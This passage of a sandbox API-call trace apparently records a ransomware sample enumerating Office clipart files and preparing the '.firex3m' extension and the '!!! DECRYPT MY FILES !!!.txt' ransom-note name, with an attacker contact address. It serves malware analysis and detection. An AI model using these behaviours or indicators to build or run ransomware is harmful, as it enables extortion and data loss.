Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 1 [0131.737] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif") returned 0x44 [0131.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.737] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.737] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.738] GetProcessHeap () returned 0x630000 [0131.738] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c) returned 0x66a3e0 [0131.738] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0131.738] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 1 [0131.738] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif") returned 0x44 [0131.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.738] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.738] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.738] GetProcessHeap () returned 0x630000 [0131.738] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x20) returned 0x66a3e0 [0131.738] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0131.739] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 1 [0131.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif") returned 0x44 [0131.739] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.739] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.739] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.739] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.739] GetProcessHeap () returned 0x630000 [0131.739] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x24) returned 0x66a3e0 [0131.739] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb58a9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0131.739] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 1 [0131.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif") returned 0x44 [0131.741] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.741] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.741] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.741] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.741] GetProcessHeap () returned 0x630000 [0131.741] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x28) returned 0x66a3e0 [0131.742] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0131.742] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 1 [0131.742] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif") returned 0x44 [0131.742] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.742] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.742] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.742] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.742] GetProcessHeap () returned 0x630000 [0131.742] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x2c) returned 0x66a3e0 [0131.742] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0131.742] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 1 [0131.742] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif") returned 0x44 [0131.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.743] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.743] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.743] GetProcessHeap () returned 0x630000 [0131.743] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x30) returned 0x66a3e0 [0131.743] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0131.743] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 1 [0131.743] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif") returned 0x44 [0131.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.743] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.743] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.744] GetProcessHeap () returned 0x630000 [0131.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x34) returned 0x66a3e0 [0131.744] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0131.744] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 1 [0131.744] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif") returned 0x44 [0131.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.744] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.744] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.744] GetProcessHeap () returned 0x630000 [0131.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x38) returned 0x66a3e0 [0131.744] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0131.745] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 1 [0131.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif") returned 0x44 [0131.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.745] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.745] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.745] GetProcessHeap () returned 0x630000 [0131.745] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x3c) returned 0x66a3e0 [0131.745] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0131.745] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 1 [0131.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif") returned 0x44 [0131.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.746] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.746] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.746] GetProcessHeap () returned 0x630000 [0131.746] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x40) returned 0x66a3e0 [0131.746] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0131.746] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 1 [0131.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif") returned 0x44 [0131.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.746] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.746] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.747] GetProcessHeap () returned 0x630000 [0131.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x44) returned 0x66a3e0 [0131.747] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0131.747] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 1 [0131.747] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif") returned 0x44 [0131.747] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.747] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.747] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.747] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.747] GetProcessHeap () returned 0x630000 [0131.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x48) returned 0x66a3e0 [0131.747] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0131.748] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 1 [0131.748] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif") returned 0x44 [0131.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 